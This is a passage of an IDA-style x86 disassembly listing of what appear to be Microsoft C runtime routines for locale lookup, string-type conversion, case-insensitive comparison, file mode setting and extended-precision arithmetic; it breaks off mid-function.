		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_439920
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_438AEF
		call	dword_4F5360	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_438A70
		jmp	loc_438B4D
; ---------------------------------------------------------------------------

loc_438A70:				; CODE XREF: sub_438A00+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_439920
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_438A9A
		jmp	loc_438B4D
; ---------------------------------------------------------------------------

loc_438A9A:				; CODE XREF: sub_438A00+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_438AC0
		jmp	loc_438B4D
; ---------------------------------------------------------------------------

loc_438AC0:				; CODE XREF: sub_438A00+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_439920
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_438AEF
		jmp	short loc_438B4D
; ---------------------------------------------------------------------------

loc_438AEF:				; CODE XREF: sub_438A00+5Aj
					; sub_438A00+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_438B19
		jmp	short loc_438B4D
; ---------------------------------------------------------------------------

loc_438B19:				; CODE XREF: sub_438A00+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_41E510
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_438B46
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41CA10
		add	esp, 8

loc_438B46:				; CODE XREF: sub_438A00+136j
		xor	eax, eax
		jmp	loc_438C86
; ---------------------------------------------------------------------------

loc_438B4D:				; CODE XREF: sub_438A00+6Bj
					; sub_438A00+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_438B61
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41CA10
		add	esp, 8

loc_438B61:				; CODE XREF: sub_438A00+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_438C86
; ---------------------------------------------------------------------------

loc_438B69:				; CODE XREF: sub_438A00+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_438C83
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4F373C
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_439780
		add	esp, 14h
		test	eax, eax
		jnz	short loc_438BB0
		or	eax, 0FFFFFFFFh
		jmp	loc_438C86
; ---------------------------------------------------------------------------

loc_438BB0:				; CODE XREF: sub_438A00+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_438BD4
; ---------------------------------------------------------------------------

loc_438BC5:				; CODE XREF: sub_438A00:loc_438C7Aj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax

loc_438BD4:				; CODE XREF: sub_438A00+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_438C7F
		cmp	dword_453EB0, 1
		jle	short loc_438C1B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F373C[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_427040
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_438C4E
; ---------------------------------------------------------------------------

loc_438C1B:				; CODE XREF: sub_438A00+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4F373C[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_453CA4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx

loc_438C4E:				; CODE XREF: sub_438A00+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_438C78
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_438C7A
; ---------------------------------------------------------------------------

loc_438C78:				; CODE XREF: sub_438A00+255j
		jmp	short loc_438C7F
; ---------------------------------------------------------------------------

loc_438C7A:				; CODE XREF: sub_438A00+276j
		jmp	loc_438BC5
; ---------------------------------------------------------------------------

loc_438C7F:				; CODE XREF: sub_438A00+1DBj
					; sub_438A00:loc_438C78j
		xor	eax, eax
		jmp	short loc_438C86
; ---------------------------------------------------------------------------

loc_438C83:				; CODE XREF: sub_438A00+16Dj
		or	eax, 0FFFFFFFFh

loc_438C86:				; CODE XREF: sub_438A00+148j
					; sub_438A00+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_438A00	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_454ED8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438CA0	proc near		; CODE XREF: sub_434A80+216p
					; sub_43B770+50p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E048
		push	offset sub_423364
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4F3748, 0
		jnz	short loc_438D1E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_43D410
		push	1
		call	dword_4F5304	; GetStringTypeW
		test	eax, eax
		jz	short loc_438CF2
		mov	dword_4F3748, 1
		jmp	short loc_438D1E
; ---------------------------------------------------------------------------

loc_438CF2:				; CODE XREF: sub_438CA0+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43D40C
		push	1
		push	0
		call	dword_4F5308	; GetStringTypeA
		test	eax, eax
		jz	short loc_438D17
		mov	dword_4F3748, 2
		jmp	short loc_438D1E
; ---------------------------------------------------------------------------

loc_438D17:				; CODE XREF: sub_438CA0+69j
		xor	eax, eax
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438D1E:				; CODE XREF: sub_438CA0+2Dj
					; sub_438CA0+50j ...
		cmp	dword_4F3748, 1
		jnz	short loc_438D42
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4F5304	; GetStringTypeW
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438D42:				; CODE XREF: sub_438CA0+85j
		cmp	dword_4F3748, 2
		jnz	loc_438EF7
		cmp	[ebp+arg_10], 0
		jnz	short loc_438D5D
		mov	eax, dword_4F34C8
		mov	[ebp+arg_10], eax

loc_438D5D:				; CODE XREF: sub_438CA0+B3j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	220h
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_438D8C
		xor	eax, eax
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438D8C:				; CODE XREF: sub_438CA0+E3j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_28]
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_438DDE
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_438DDE:				; CODE XREF: sub_438CA0+125j
		cmp	[ebp+var_2C], 0
		jnz	short loc_438DEB
		xor	eax, eax
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438DEB:				; CODE XREF: sub_438CA0+142j
		push	0
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_438E19
		xor	eax, eax
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438E19:				; CODE XREF: sub_438CA0+170j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_438E5D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_438E5D:				; CODE XREF: sub_438CA0+1A4j
		cmp	[ebp+var_24], 0
		jnz	short loc_438E6A
		xor	eax, eax
		jmp	loc_438EF9
; ---------------------------------------------------------------------------

loc_438E6A:				; CODE XREF: sub_438CA0+1C1j
		cmp	[ebp+arg_14], 0
		jnz	short loc_438E79
		mov	edx, dword_4F34B8
		mov	[ebp+arg_14], edx

loc_438E79:				; CODE XREF: sub_438CA0+1CEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_24]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		call	dword_4F5308	; GetStringTypeA
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_438ED8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_438EDC

loc_438ED8:				; CODE XREF: sub_438CA0+222j
		xor	eax, eax
		jmp	short loc_438EF9
; ---------------------------------------------------------------------------

loc_438EDC:				; CODE XREF: sub_438CA0+236j
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_420840
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_438EF9
; ---------------------------------------------------------------------------

loc_438EF7:				; CODE XREF: sub_438CA0+A9j
		xor	eax, eax

loc_438EF9:				; CODE XREF: sub_438CA0+79j
					; sub_438CA0+9Dj ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_438CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_438F10	proc near		; CODE XREF: sub_435200+11Bp
					; sub_435200+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_43900A
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4F34B0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_438F81
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]

loc_438F3C:				; CODE XREF: sub_438F10+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_438F65
		or	al, al
		jz	short loc_438F65
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_438F54
		cmp	ah, bl
		ja	short loc_438F54
		add	ah, dh

loc_438F54:				; CODE XREF: sub_438F10+3Cj
					; sub_438F10+40j
		cmp	al, bh
		jb	short loc_438F5E
		cmp	al, bl
		ja	short loc_438F5E
		add	al, dh

loc_438F5E:				; CODE XREF: sub_438F10+46j
					; sub_438F10+4Aj
		cmp	ah, al
		jnz	short loc_438F6F
		dec	ecx
		jnz	short loc_438F3C

loc_438F65:				; CODE XREF: sub_438F10+32j
					; sub_438F10+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_43900A

loc_438F6F:				; CODE XREF: sub_438F10+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_43900A
		neg	ecx
		jmp	loc_43900A
; ---------------------------------------------------------------------------

loc_438F81:				; CODE XREF: sub_438F10+21j
		lock inc dword_4F3888
		cmp	dword_4F3884, 0
		jg	short loc_438F95
		push	0
		jmp	short loc_438FAE
; ---------------------------------------------------------------------------

loc_438F95:				; CODE XREF: sub_438F10+7Fj
		lock dec dword_4F3888
		mov	ebx, ecx
		push	13h
		call	sub_423280
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx

loc_438FAE:				; CODE XREF: sub_438F10+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi

loc_438FB4:				; CODE XREF: sub_438F10+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_438FDF
		or	ebx, ebx
		jz	short loc_438FDF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_421D30
		mov	ebx, eax
		add	esp, 4
		call	sub_421D30
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_438FE5
		dec	ecx
		jnz	short loc_438FB4

loc_438FDF:				; CODE XREF: sub_438F10+AAj
					; sub_438F10+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_438FEE

loc_438FE5:				; CODE XREF: sub_438F10+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_438FEE
		neg	ecx

loc_438FEE:				; CODE XREF: sub_438F10+D3j
					; sub_438F10+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_438FFC
		lock dec dword_4F3888
		jmp	short loc_43900A
; ---------------------------------------------------------------------------

loc_438FFC:				; CODE XREF: sub_438F10+E1j
		mov	ebx, ecx
		push	13h
		call	sub_423320
		add	esp, 4
		mov	ecx, ebx

loc_43900A:				; CODE XREF: sub_438F10+Bj
					; sub_438F10+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_438F10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4F3880
		jnb	short loc_439051
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_439061

loc_439051:				; CODE XREF: .packed:0043902Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_43908F
; ---------------------------------------------------------------------------

loc_439061:				; CODE XREF: .packed:0043904Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4390A0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp-4]

loc_43908F:				; CODE XREF: .packed:0043905Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4390A0	proc near		; CODE XREF: sub_435EC0+D4p
					; sub_435EC0+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_439109
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4F3780[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43915A
; ---------------------------------------------------------------------------

loc_439109:				; CODE XREF: sub_4390A0+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43914A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4F3780[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43915A
; ---------------------------------------------------------------------------

loc_43914A:				; CODE XREF: sub_4390A0+70j
		call	sub_429A90
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43916B
; ---------------------------------------------------------------------------

loc_43915A:				; CODE XREF: sub_4390A0+67j
					; sub_4390A0+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h

loc_43916B:				; CODE XREF: sub_4390A0+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_4390A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439170	proc near		; CODE XREF: sub_436F70+2B5p
					; sub_4395B0+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_43922D
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_43922D
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_439264

loc_43922D:				; CODE XREF: sub_439170+9Bj
					; sub_439170+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_4395A9
; ---------------------------------------------------------------------------

loc_439264:				; CODE XREF: sub_439170+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_439297
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_4395A9
; ---------------------------------------------------------------------------

loc_439297:				; CODE XREF: sub_439170+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_4392DD
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_4392DD
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4392DD
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_4392DD
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_4395A9
; ---------------------------------------------------------------------------

loc_4392DD:				; CODE XREF: sub_439170+131j
					; sub_439170+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jnz	short loc_439339
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_439339
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_439339
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_439339
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_4395A9
; ---------------------------------------------------------------------------

loc_439339:				; CODE XREF: sub_439170+178j
					; sub_439170+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_439352
; ---------------------------------------------------------------------------

loc_439349:				; CODE XREF: sub_439170+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx

loc_439352:				; CODE XREF: sub_439170+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_439411
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_439381
; ---------------------------------------------------------------------------

loc_439378:				; CODE XREF: sub_439170+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx

loc_439381:				; CODE XREF: sub_439170+206j
		cmp	[ebp+var_34], 0
		jle	short loc_439403
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_24]
		mov	[ebp+var_38], edx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_3C], eax
		mov	ecx, [ebp+var_28]
		lea	edx, [ebp+ecx+var_14]
		mov	[ebp+var_40], edx
		mov	eax, [ebp+var_38]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	edx, [ebp+var_3C]
		xor	eax, eax
		mov	ax, [edx]
		imul	ecx, eax
		mov	[ebp+var_44], ecx
		mov	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+var_44]
		push	edx
		mov	eax, [ebp+var_40]
		mov	ecx, [eax]
		push	ecx
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4393EC
		mov	edx, [ebp+var_28]
		mov	ax, word ptr [ebp+edx+var_10]
		add	ax, 1
		mov	ecx, [ebp+var_28]
		mov	word ptr [ebp+ecx+var_10], ax

loc_4393EC:				; CODE XREF: sub_439170+266j
		mov	edx, [ebp+var_24]
		add	edx, 2
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_8]
		sub	eax, 2
		mov	[ebp+var_8], eax
		jmp	loc_439378
; ---------------------------------------------------------------------------

loc_439403:				; CODE XREF: sub_439170+215j
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		mov	[ebp+var_28], ecx
		jmp	loc_439349
; ---------------------------------------------------------------------------

loc_439411:				; CODE XREF: sub_439170+1E6j
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 3FFEh
		mov	word ptr [ebp+var_30], dx

loc_43941E:				; CODE XREF: sub_439170+2DBj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jle	short loc_43944D
		mov	ecx, [ebp+var_C]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_43944D
		lea	edx, [ebp+var_14]
		push	edx
		call	sub_4361E0
		add	esp, 4
		mov	ax, word ptr [ebp+var_30]
		sub	ax, 1
		mov	word ptr [ebp+var_30], ax
		jmp	short loc_43941E
; ---------------------------------------------------------------------------

loc_43944D:				; CODE XREF: sub_439170+2B4j
					; sub_439170+2C1j
		movsx	ecx, word ptr [ebp+var_30]
		test	ecx, ecx
		jg	short loc_4394AD
		mov	dx, word ptr [ebp+var_30]
		sub	dx, 1
		mov	word ptr [ebp+var_30], dx

loc_439461:				; CODE XREF: sub_439170+32Aj
		movsx	eax, word ptr [ebp+var_30]
		test	eax, eax
		jge	short loc_43949C
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFh
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_439482
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_439482:				; CODE XREF: sub_439170+307j
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_436240
		add	esp, 4
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		jmp	short loc_439461
; ---------------------------------------------------------------------------

loc_43949C:				; CODE XREF: sub_439170+2F7j
		cmp	[ebp+var_4], 0
		jz	short loc_4394AD
		mov	dx, word ptr [ebp+var_14]
		or	dl, 1
		mov	word ptr [ebp+var_14], dx

loc_4394AD:				; CODE XREF: sub_439170+2E3j
					; sub_439170+330j
		mov	eax, [ebp+var_14]
		and	eax, 0FFFFh
		cmp	eax, 8000h
		jg	short loc_4394CD
